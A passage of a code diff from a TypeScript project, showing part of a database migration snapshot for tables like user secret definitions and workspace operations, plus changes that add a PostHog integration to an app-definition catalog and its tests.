[ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": { + "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk", + "tableFrom": "user_secret_declarations", + "columnsFrom": [ + "user_secret_definition_id" + ], + "tableTo": "user_secret_definitions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_secret_definitions": { + "name": "user_secret_definitions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_encrypted'" + }, + "managed_mode": { + "name": "managed_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'paperclip_managed'" + }, + "provider_config_id": { + "name": "provider_config_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider_metadata": { + "name": "provider_metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "usage_guidance": { + "name": "usage_guidance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_agent_id": { + "name": "updated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_secret_definitions_company_status_idx": { + "name": "user_secret_definitions_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_definitions_company_provider_idx": { + "name": "user_secret_definitions_company_provider_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_definitions_provider_config_idx": { + "name": "user_secret_definitions_provider_config_idx", + "columns": [ + { + "expression": "provider_config_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_definitions_company_key_uq": { + "name": "user_secret_definitions_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"user_secret_definitions\".\"deleted_at\" is null", + "concurrently": false + } + }, + "foreignKeys": { + "user_secret_definitions_company_id_companies_id_fk": { + "name": "user_secret_definitions_company_id_companies_id_fk", + "tableFrom": "user_secret_definitions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": { + "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk", + "tableFrom": "user_secret_definitions", + "columnsFrom": [ + "provider_config_id" + ], + "tableTo": "company_secret_provider_configs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "user_secret_definitions_created_by_agent_id_agents_id_fk": { + "name": "user_secret_definitions_created_by_agent_id_agents_id_fk", + "tableFrom": "user_secret_definitions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "user_secret_definitions_updated_by_agent_id_agents_id_fk": { + "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk", + "tableFrom": "user_secret_definitions", + "columnsFrom": [ + "updated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_sidebar_preferences": { + "name": "user_sidebar_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "company_order": { + "name": "company_order", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_sidebar_preferences_user_uq": { + "name": "user_sidebar_preferences_user_uq", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.work_assessments": { + "name": "work_assessments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "turn_id": { + "name": "turn_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contract_id": { + "name": "contract_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "result_id": { + "name": "result_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "trigger_kind": { + "name": "trigger_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "trigger_ref": { + "name": "trigger_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trigger_capability": { + "name": "trigger_capability", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "trigger_actor_company_id": { + "name": "trigger_actor_company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "prior_issue_status": { + "name": "prior_issue_status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "prior_status_version": { + "name": "prior_status_version", + "type": "bigint", + "primaryKey": false, + "notNull": true + }, + "prior_decision_id": { + "name": "prior_decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "policy_version": { + "name": "policy_version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "assessment_json": { + "name": "assessment_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "input_digest": { + "name": "input_digest", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "supersedes_assessment_id": { + "name": "supersedes_assessment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "work_assessments_company_issue_input_uq": { + "name": "work_assessments_company_issue_input_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "input_digest", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "work_assessments_company_id_companies_id_fk": { + "name": "work_assessments_company_id_companies_id_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "work_assessments_trigger_actor_company_id_companies_id_fk": { + "name": "work_assessments_trigger_actor_company_id_companies_id_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "trigger_actor_company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "work_assessments_issue_company_fk": { + "name": "work_assessments_issue_company_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "company_id", + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "work_assessments_run_owner_fk": { + "name": "work_assessments_run_owner_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "company_id", + "native_issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "work_assessments_contract_owner_fk": { + "name": "work_assessments_contract_owner_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "company_id", + "issue_id", + "contract_id" + ], + "tableTo": "completion_contracts", + "columnsTo": [ + "company_id", + "issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "work_assessments_result_owner_fk": { + "name": "work_assessments_result_owner_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "result_id" + ], + "tableTo": "native_run_results", + "columnsTo": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "work_assessments_supersedes_owner_fk": { + "name": "work_assessments_supersedes_owner_fk", + "tableFrom": "work_assessments", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "supersedes_assessment_id" + ], + "tableTo": "work_assessments", + "columnsTo": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "work_assessments_company_issue_run_id_uq": { + "name": "work_assessments_company_issue_run_id_uq", + "columns": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": { + "work_assessments_trigger_actor_company_check": { + "name": "work_assessments_trigger_actor_company_check", + "value": "\"work_assessments\".\"trigger_actor_company_id\" = \"work_assessments\".\"company_id\"" + } + }, + "isRLSEnabled": false + }, + "public.workspace_operations": { + "name": "workspace_operations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "heartbeat_run_id": { + "name": "heartbeat_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "phase": { + "name": "phase", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "command": { + "name": "command", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cwd": { + "name": "cwd", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "exit_code": { + "name": "exit_code", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "log_store": { + "name": "log_store", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_ref": { + "name": "log_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_bytes": { + "name": "log_bytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "log_sha256": { + "name": "log_sha256", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "log_compressed": { + "name": "log_compressed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "stdout_excerpt": { + "name": "stdout_excerpt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stderr_excerpt": { + "name": "stderr_excerpt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_operations_company_run_started_idx": { + "name": "workspace_operations_company_run_started_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "heartbeat_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "workspace_operations_company_workspace_started_idx": { + "name": "workspace_operations_company_workspace_started_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "workspace_operations_company_workspace_issue_started_idx": { + "name": "workspace_operations_company_workspace_issue_started_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "workspace_operations_company_id_companies_id_fk": { + "name": "workspace_operations_company_id_companies_id_fk", + "tableFrom": "workspace_operations", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": { + "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "workspace_operations", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": { + "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk", + "tableFrom": "workspace_operations", + "columnsFrom": [ + "heartbeat_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_operations_issue_id_issues_id_fk": { + "name": "workspace_operations_issue_id_issues_id_fk", + "tableFrom": "workspace_operations", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_runtime_services": { + "name": "workspace_runtime_services", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_workspace_id": { + "name": "project_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "scope_type": { + "name": "scope_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "service_name": { + "name": "service_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lifecycle": { + "name": "lifecycle", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reuse_key": { + "name": "reuse_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "command": { + "name": "command", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cwd": { + "name": "cwd", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "port": { + "name": "port", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "url": { + "name": "url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_ref": { + "name": "provider_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "owner_agent_id": { + "name": "owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "started_by_run_id": { + "name": "started_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "stopped_at": { + "name": "stopped_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "stop_policy": { + "name": "stop_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "exposure": { + "name": "exposure", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "exposure_handle": { + "name": "exposure_handle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "backend_url": { + "name": "backend_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "health_status": { + "name": "health_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_runtime_services_company_workspace_status_idx": { + "name": "workspace_runtime_services_company_workspace_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "workspace_runtime_services_company_execution_workspace_status_idx": { + "name": "workspace_runtime_services_company_execution_workspace_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "workspace_runtime_services_company_project_status_idx": { + "name": "workspace_runtime_services_company_project_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "workspace_runtime_services_run_idx": { + "name": "workspace_runtime_services_run_idx", + "columns": [ + { + "expression": "started_by_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "workspace_runtime_services_company_updated_idx": { + "name": "workspace_runtime_services_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "workspace_runtime_services_company_id_companies_id_fk": { + "name": "workspace_runtime_services_company_id_companies_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "workspace_runtime_services_project_id_projects_id_fk": { + "name": "workspace_runtime_services_project_id_projects_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": { + "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "project_workspace_id" + ], + "tableTo": "project_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": { + "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_runtime_services_issue_id_issues_id_fk": { + "name": "workspace_runtime_services_issue_id_issues_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_runtime_services_owner_agent_id_agents_id_fk": { + "name": "workspace_runtime_services_owner_agent_id_agents_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": { + "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "workspace_runtime_services", + "columnsFrom": [ + "started_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + } + }, + "enums": {}, + "schemas": {}, + "views": {}, + "sequences": {}, + "roles": {}, + "policies": {}, + "_meta": { + "columns": {}, + "schemas": {}, + "tables": {} + } +} \ No newline at end of file diff --git a/packages/db/src/migrations/meta/_journal.json b/packages/db/src/migrations/meta/_journal.json index ee40fb22b3..958d84d100 100644 --- a/packages/db/src/migrations/meta/_journal.json +++ b/packages/db/src/migrations/meta/_journal.json @@ -1604,6 +1604,13 @@ "when": 1787880484952, "tag": "0230_better_auth_account_issuer", "breakpoints": true + }, + { + "idx": 231, + "version": "7", + "when": 1787922567272, + "tag": "0231_remove_app_connection_wide_includes", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/shared/src/app-definitions.generated.ts b/packages/shared/src/app-definitions.generated.ts index a306bef695..dc59cd149b 100644 --- a/packages/shared/src/app-definitions.generated.ts +++ b/packages/shared/src/app-definitions.generated.ts @@ -2,13 +2,14 @@ import a0 from "./app-definitions/zapier.json" with { type: "json" }; import a1 from "./app-definitions/github.json" with { type: "json" }; import a2 from "./app-definitions/slack.json" with { type: "json" }; import a3 from "./app-definitions/notion.json" with { type: "json" }; -import a4 from "./app-definitions/linear.json" with { type: "json" }; -import a5 from "./app-definitions/google-sheets.json" with { type: "json" }; -import a6 from "./app-definitions/context7.json" with { type: "json" }; -import a7 from "./app-definitions/oauth-generic.json" with { type: "json" }; -import a8 from "./app-definitions/api-key-generic.json" with { type: "json" }; -import a9 from "./app-definitions/sentry.json" with { type: "json" }; -import a10 from "./app-definitions/vercel.json" with { type: "json" }; -import a11 from "./app-definitions/anthropic.json" with { type: "json" }; +import a4 from "./app-definitions/posthog.json" with { type: "json" }; +import a5 from "./app-definitions/linear.json" with { type: "json" }; +import a6 from "./app-definitions/google-sheets.json" with { type: "json" }; +import a7 from "./app-definitions/context7.json" with { type: "json" }; +import a8 from "./app-definitions/oauth-generic.json" with { type: "json" }; +import a9 from "./app-definitions/api-key-generic.json" with { type: "json" }; +import a10 from "./app-definitions/sentry.json" with { type: "json" }; +import a11 from "./app-definitions/vercel.json" with { type: "json" }; +import a12 from "./app-definitions/anthropic.json" with { type: "json" }; import type { AppDefinition } from "./types/app-definition.js"; -export const APP_DEFINITIONS=[a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11] as AppDefinition[]; +export const APP_DEFINITIONS=[a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12] as AppDefinition[]; diff --git a/packages/shared/src/app-definitions.test.ts b/packages/shared/src/app-definitions.test.ts index 489f5e0595..b31b2e60bf 100644 --- a/packages/shared/src/app-definitions.test.ts +++ b/packages/shared/src/app-definitions.test.ts @@ -3,12 +3,13 @@ import { APP_DEFINITIONS } from "./app-definitions.generated.js"; import { appDefinitionsSchema } from "./validators/app-definition.js"; describe("AppDefinition catalog",()=>{ it("validates all Wave 1 definitions",()=>expect(()=>appDefinitionsSchema.parse(APP_DEFINITIONS)).not.toThrow()); - it("contains twelve reviewed providers",()=>expect(APP_DEFINITIONS.map((app)=>app.slug)).toEqual(["zapier","github","slack","notion","linear","google-sheets","context7","oauth-generic","api-key-generic","sentry","vercel","anthropic"])); + it("contains thirteen reviewed providers",()=>expect(APP_DEFINITIONS.map((app)=>app.slug)).toEqual(["zapier","github","slack","notion","posthog","linear","google-sheets","context7","oauth-generic","api-key-generic","sentry","vercel","anthropic"])); it("uses discovery-first Notion MCP OAuth metadata",()=>{ const notion=APP_DEFINITIONS.find((app)=>app.slug==="notion"); expect(notion?.redirectConstraints).toBe("https-or-loopback-http"); expect(notion?.methods[0]?.defaults).toEqual({serverUrl:"https://mcp.notion.com/mcp"}); }); it("preserves required Linear OAuth scopes",()=>expect(APP_DEFINITIONS.find((app)=>app.slug==="linear")?.methods[0]?.defaults?.scopesHint).toEqual(["read","write"])); + it("offers PostHog OAuth and API-key methods with broad defaults and advanced narrowing",()=>{const posthog=APP_DEFINITIONS.find((app)=>app.slug==="posthog");expect(posthog?.methods.map((method)=>method.key)).toEqual(["mcp-oauth","mcp-api-key"]);for(const method of posthog?.methods??[]){expect(method.riskTier).toBe("S3");expect(method.tenantFields?.find((field)=>field.key==="readOnly")?.defaultValue).toBe(false);expect(method.tenantFields?.find((field)=>field.key==="projectId")?.transport).toEqual({location:"header",name:"x-posthog-project-id"});expect(method.tenantFields?.filter((field)=>field.advanced).map((field)=>field.key)).toEqual(["features","tools","mode"]);expect(method.configRequirements).toBeUndefined();expect(method.requiredResourceFilters).toEqual(["project"])}}); it("enforces method and field invariants",()=>{for(const app of APP_DEFINITIONS)for(const method of app.methods){if(method.auth==="api_key")expect(method.keyPlacement).toBeTruthy();if(method.auth==="oauth")expect(method.ownershipModes.length).toBeGreaterThan(0);for(const field of method.credentialFields??[])if(field.required&&field.type!=="checkbox")expect(field.placeholder).toBeTruthy()}}); }); diff --git a/packages/shared/src/app-definitions.ts b/packages/shared/src/app-definitions.ts index ba38d87e7f..7ac34d87dc 100644 --- a/packages/shared/src/app-definitions.ts +++ b/packages/shared/src/app-definitions.ts @@ -7,6 +7,7 @@ const CONNECTABLE_APP_SLUGS = new Set([ "github", "slack", "notion", + "posthog", "linear", "google-sheets", "context7", @@ -47,19 +48,27 @@ export function getAppDefinitionForUrl( ) ?? null; } -export function getAvailableConnectionMethod(app: AppDefinition): ConnectionMethodDef | null { +export function getAvailableConnectionMethods(app: AppDefinition): ConnectionMethodDef[] { const availability = app.ownershipAvailability ?? DEFAULT_OWNERSHIP_AVAILABILITY; - return app.methods.find((method) => + return app.methods.filter((method) => method.ownershipModes.some((ownership) => availability[ownership] !== false) - ) ?? null; + ); +} + +export function getAvailableConnectionMethod( + app: AppDefinition, + methodKey?: string | null, +): ConnectionMethodDef | null { + const methods = getAvailableConnectionMethods(app); + return methodKey ? methods.find((method) => method.key === methodKey) ?? null : methods[0] ?? null; } export function credentialConfigPath(field: FieldDef): string { return `credentials.${field.key}`; } -export function recommendedDefaultsForApp(app: AppDefinition): Record { - const method = getAvailableConnectionMethod(app); +export function recommendedDefaultsForApp(app: AppDefinition, methodKey?: string | null): Record { + const method = getAvailableConnectionMethod(app, methodKey); return { access: 